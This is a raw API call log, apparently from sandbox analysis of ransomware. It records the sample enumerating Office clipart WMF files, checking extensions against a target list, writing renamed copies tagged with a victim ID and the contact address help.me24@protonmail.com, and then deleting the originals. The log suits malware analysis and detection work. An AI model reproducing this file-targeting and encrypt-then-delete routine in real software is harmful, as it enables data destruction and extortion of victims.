	[0096.436] lstrlenW (lpString=".doc") returned 4
	[0096.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString=".docx") returned 5
	[0096.436] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.436] lstrlenW (lpString=".pdf") returned 4
	[0096.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString=".xls") returned 4
	[0096.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.436] lstrlenW (lpString=".xlsx") returned 5
	[0096.436] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.436] lstrlenW (lpString=".ppt") returned 4
	[0096.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".zip") returned 4
	[0096.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.436] lstrlenW (lpString=".rar") returned 4
	[0096.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString=".bz2") returned 4
	[0096.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString=".7z") returned 3
	[0096.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".dbf") returned 4
	[0096.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".1cd") returned 4
	[0096.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.437] lstrlenW (lpString=".jpg") returned 4
	[0096.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.437] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.437] lstrlenW (lpString="J0090779.WMF") returned 12
	[0096.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.437] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1456) returned 1
	[0096.437] CloseHandle (hObject=0x384) returned 1
	[0096.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220
	[0096.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.437] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.438] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0096.438] GetLastError () returned 0x0
	[0096.438] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x5b0, lpOverlapped=0x0) returned 1
	[0096.447] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0096.448] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.448] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.448] SetEndOfFile (hFile=0x370) returned 1
	[0096.448] CloseHandle (hObject=0x370) returned 1
	[0096.448] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.448] SetEndOfFile (hFile=0x384) returned 1
	[0096.449] CloseHandle (hObject=0x384) returned 1
	[0096.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0096.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.449] lstrlenW (lpString=".doc") returned 4
	[0096.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.449] lstrlenW (lpString=".docx") returned 5
	[0096.449] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.449] lstrlenW (lpString=".pdf") returned 4
	[0096.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString=".xls") returned 4
	[0096.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.450] lstrlenW (lpString=".xlsx") returned 5
	[0096.450] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.450] lstrlenW (lpString=".ppt") returned 4
	[0096.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString=".zip") returned 4
	[0096.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.450] lstrlenW (lpString=".rar") returned 4
	[0096.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString=".bz2") returned 4
	[0096.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString=".7z") returned 3
	[0096.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString=".dbf") returned 4
	[0096.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString=".1cd") returned 4
	[0096.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString=".jpg") returned 4
	[0096.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.450] lstrlenW (lpString=".doc") returned 4
	[0096.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString=".docx") returned 5
	[0096.450] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0096.450] lstrlenW (lpString=".pdf") returned 4
	[0096.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.450] lstrlenW (lpString=".xls") returned 4
	[0096.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.450] lstrlenW (lpString=".xlsx") returned 5
	[0096.450] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0096.478] lstrlenW (lpString=".ppt") returned 4
	[0096.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.478] lstrlenW (lpString=".zip") returned 4
	[0096.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.478] lstrlenW (lpString=".rar") returned 4
	[0096.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.478] lstrlenW (lpString=".bz2") returned 4
	[0096.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.478] lstrlenW (lpString=".7z") returned 3
	[0096.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.479] lstrlenW (lpString=".dbf") returned 4
	[0096.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.479] lstrlenW (lpString=".1cd") returned 4
	[0096.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0096.479] lstrlenW (lpString=".jpg") returned 4
	[0096.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.479] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.479] lstrlenW (lpString="J0090781.WMF") returned 12
	[0096.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.479] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5314) returned 1
	[0096.479] CloseHandle (hObject=0x384) returned 1
	[0096.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220
	[0096.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.480] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.480] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0096.480] GetLastError () returned 0x0
	[0096.480] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x14c2, lpOverlapped=0x0) returned 1
	[0096.482] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0096.484] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.484] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.484] SetEndOfFile (hFile=0x370) returned 1
	[0096.484] CloseHandle (hObject=0x370) returned 1
	[0096.484] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.484] SetEndOfFile (hFile=0x384) returned 1
	[0096.499] CloseHandle (hObject=0x384) returned 1
	[0096.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.499] lstrlenW (lpString=".doc") returned 4
	[0096.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.499] lstrlenW (lpString=".docx") returned 5
	[0096.500] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0096.500] lstrlenW (lpString=".pdf") returned 4
	[0096.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString=".xls") returned 4
	[0096.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.500] lstrlenW (lpString=".xlsx") returned 5
	[0096.500] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0096.500] lstrlenW (lpString=".ppt") returned 4
	[0096.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString=".zip") returned 4
	[0096.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.500] lstrlenW (lpString=".rar") returned 4
	[0096.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString=".bz2") returned 4
	[0096.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString=".7z") returned 3
	[0096.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString=".dbf") returned 4
	[0096.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString=".1cd") returned 4
	[0096.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString=".jpg") returned 4
	[0096.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.500] lstrlenW (lpString=".doc") returned 4
	[0096.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.500] lstrlenW (lpString=".docx") returned 5
	[0096.500] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0096.500] lstrlenW (lpString=".pdf") returned 4
	[0096.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString=".xls") returned 4
	[0096.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.501] lstrlenW (lpString=".xlsx") returned 5
	[0096.501] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0096.501] lstrlenW (lpString=".ppt") returned 4
	[0096.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.501] lstrlenW (lpString=".zip") returned 4
	[0096.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.501] lstrlenW (lpString=".rar") returned 4
	[0096.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString=".bz2") returned 4
	[0096.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString=".7z") returned 3
	[0096.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.501] lstrlenW (lpString=".dbf") returned 4
	[0096.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.501] lstrlenW (lpString=".1cd") returned 4
	[0096.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0096.501] lstrlenW (lpString=".jpg") returned 4
	[0096.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.501] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.501] lstrlenW (lpString="J0090783.WMF") returned 12
	[0096.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.502] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6934) returned 1
	[0096.502] CloseHandle (hObject=0x384) returned 1
	[0096.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0096.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.502] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.502] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0096.503] GetLastError () returned 0x0
	[0096.503] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1b16, lpOverlapped=0x0) returned 1
	[0096.860] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0097.303] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.303] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.304] SetEndOfFile (hFile=0x370) returned 1
	[0097.306] CloseHandle (hObject=0x370) returned 1
	[0097.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.306] SetEndOfFile (hFile=0x384) returned 1
	[0097.307] CloseHandle (hObject=0x384) returned 1
	[0097.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0097.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.308] lstrlenW (lpString=".doc") returned 4
	[0097.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0097.308] lstrlenW (lpString=".docx") returned 5
	[0097.308] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0097.308] lstrlenW (lpString=".pdf") returned 4
	[0097.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0097.308] lstrlenW (lpString=".xls") returned 4
	[0097.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0097.308] lstrlenW (lpString=".xlsx") returned 5
	[0097.308] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0097.308] lstrlenW (lpString=".ppt") returned 4
	[0097.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0097.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.308] lstrlenW (lpString=".zip") returned 4
	[0097.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0097.308] lstrlenW (lpString=".rar") returned 4
	[0097.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0097.308] lstrlenW (lpString=".bz2") returned 4
	[0097.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0097.308] lstrlenW (lpString=".7z") returned 3
	[0097.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0097.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.308] lstrlenW (lpString=".dbf") returned 4
	[0097.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".1cd") returned 4
	[0097.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".jpg") returned 4
	[0097.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0097.309] lstrlenW (lpString=".doc") returned 4
